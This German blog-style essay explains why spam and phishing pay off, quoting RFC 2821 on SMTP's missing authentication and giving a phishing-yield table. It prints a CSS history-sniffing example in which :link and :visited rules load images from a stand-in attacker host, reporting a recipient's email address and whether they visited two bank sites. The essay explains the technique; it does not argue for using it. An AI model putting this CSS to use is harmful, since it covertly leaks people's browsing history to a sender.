Nov
30
Warum SPAM funktioniert
E-Mail dürfte inzwischen, sowohl im Privaten wie im Geschäftlichen, das am Häufigsten genutzte Kommunikationsmedium sein. Gleichzeitig ist es eines der unsichersten, da neben der Übermittlung aktiver Inhalte auch die Identität des Absenders leicht verfälscht und die wahre Herkunft der E-Mail verschleiert werden kann.
Dieser Umstand des 1982 in RFC 821[1] spezifizierten Simple Mail Transfer Protocol (SMTP) sind lange bekannt und wurden in der Aktualisierung RFC 2821[2] wie folgt festgehalten:
SMTP mail is inherently insecure in that it is feasible for even fairly casual users to negotiate directly with receiving and relaying SMTP servers and create messages that will trick a naive recipient into believing that they came from somewhere else. Constructing such a message so that the “spoofed” behavior cannot be detected by an expert is somewhat more difficult, but not sufficiently so as to be a deterrent to someone who is determined and knowledgeable. Consequently, as knowledge of Internet mail increases, so does the knowledge that SMTP mail inherently cannot be authenticated, or integrity checks provided, at the transport level. Real mail security lies only in end-to-end methods involving the message bodies, such as those which use digital signatures (see [14] and, e.g., PGP [4] or S/MIME [31]).
Various protocol extensions and configuration options that provide authentication at the transport level (e.g., from an SMTP client to an SMTP server) improve somewhat on the traditional situation described above. However, unless they are accompanied by careful handoffs of responsibility in a carefully-designed trust environment, they remain inherently weaker than end-to-end mechanisms which use digitally signed messages rather than depending on the integrity of the transport system.
Efforts to make it more difficult for users to set envelope return path and header “From” fields to point to valid addresses other than their own are largely misguided: they frustrate legitimate applications in which mail is sent by one user on behalf of another or in which error (or normal) replies should be directed to a special address. (Systems that provide convenient ways for users to alter these fields on a per-message basis should attempt to establish a primary and permanent mailbox address for the user so that Sender fields within the message data can be generated sensibly.)
This specification does not further address the authentication issues associated with SMTP other than to advocate that useful functionality not be disabled in the hope of providing some small margin of protection against an ignorant user who is trying to fake mail.
Verschiedene Ansätze einer Absenderauthentifizierung zu einem Standard zu entwickeln scheiterten 2004 an ungeklärten Patentansprüchen. Allen Kandidaten, die nun in gesonderten RFCs festgehalten werden (sollen), sind Verfahren mit einer zusätzlichen Information im DNS gemein[3] [4].
So gering die Erfolgsquote bei der Aussendung von Spam auch sein mag, so hoch ist diese in Relation zu den entstehenden Kosten. Lininger und Vines gehen dabei von folgender beispielhafter Annahme aus:
| Disposition of E-Mail | Number | Percentage of Total |
| Total people spammed | 1.000.000 | 100,00% |
| Number of spams filteres | 500.000 | 50,00% |
| Number of customers receiving spam | 5.000 | 0,50% |
| Deleted unread | 2.500 | 0,25% |
| Read and ignored | 2.400 | 0,24% |
| Read and obeyed | 100 | 0,01% |
Tabelle 4: Breakdown of a Phishing E-Mail[5]
Bezieht man dieses auf eine Phishing Attacke mit dem Ziel der Plünderung von Bankkonten und nimmt man eine durchschnittliche Beute von 1000 Euro je Konto an, so ergibt sich eine Summe von 100.000 Euro bei geringem Aufwand und minimalem persönlichen Risiko. James[6] geht sogar von bis zu 5 Millionen Empfängern je Attacke aus.
Eine weitere interessante Art der Informationssammlung über E-Mail ergibt sich aus Cascading Style Sheets (CSS). Über verschiedene Definitionen für die Darstellung von bereits besuchten Links und noch nicht besuchten Links lässt sich feststellen, welche Seiten ein Nutzer in der letzten Zeit aufgesucht hat. Der Code
<a href=”http://www.deutsche-bank.de” class=”DB”>DB</a>
<a href=”http://www.postbank.de” class=”PB”>PB</a> führt in Kombination mit folgendem CSS
/*CSS für www.deutsche-bank.de */
/* CSS für unbesuchten Link /*
.DB a:link {
background-image:
url(http://angreifer.com/?opfer=email@des.opfers& +_
url=DB&visited=no);
}
/* CSS für besuchten Link /*
.DB a:visited {
background-image: url(http://angreifer.com/?opfer=email@des.opfers& +_ url=DB&visited=yes);
}
/*CSS für www.postbank.de */
/* CSS für unbesuchten Link /*
.PB a:link {
background-image:
url(http://angreifer.com/?opfer=email@des.opfers& +_
url=PB&visited=no);
}
/* CSS für besuchten Link /*
.PB a:visited {
background-image: url(http://angreifer.com/?opfer=email@des.opfers& +_ url=PB&visited=yes);
}
( „+_“ steht hierbei für einen Formatbedingen Zeilenumbruch)
zu einer Anfrage an den Server http://angreifer.com aus dem abgelesen werden kann, ob die Person mit der E-Mail-Adresse email@des.opfers die jeweiligen Internetseiten besucht hat oder nicht.
[1] Postel, Jonathan B., im August 1982: RFC 821 – Simple Mail Transfer Protocol <http://www.rfc-archive.org/getrfc.php?rfc=821> (2008-12-15)
[2] Klensing, J., im April 2001: RFC 2821 – Simple Mail Transfer Protocol <http://www.rfc-archive.org/getrfc.php?rfc=2821> (2008-12-15)
[3] James, Lance: Phishing Exposed – Uncover Secrets from the Dark Side, 1, Hrsg. von Williams, Andrew, Rockland, MA: Synergress, 2005, S. 11
[4] Wikipedia, ohne Datum:E-Mail <http://de.wikipedia.org/wiki/Angst> (2008-12-15)
[5] James, Lance: Phishing Exposed – Uncover Secrets from the Dark Side, 1, Hrsg. von Williams, Andrew, Rockland, MA: Synergress, 2005, S. 27
[6] James, Lance: Phishing Exposed – Uncover Secrets from the Dark Side, 1, Hrsg. von Williams, Andrew, Rockland, MA: Synergress, 2005, S. 19
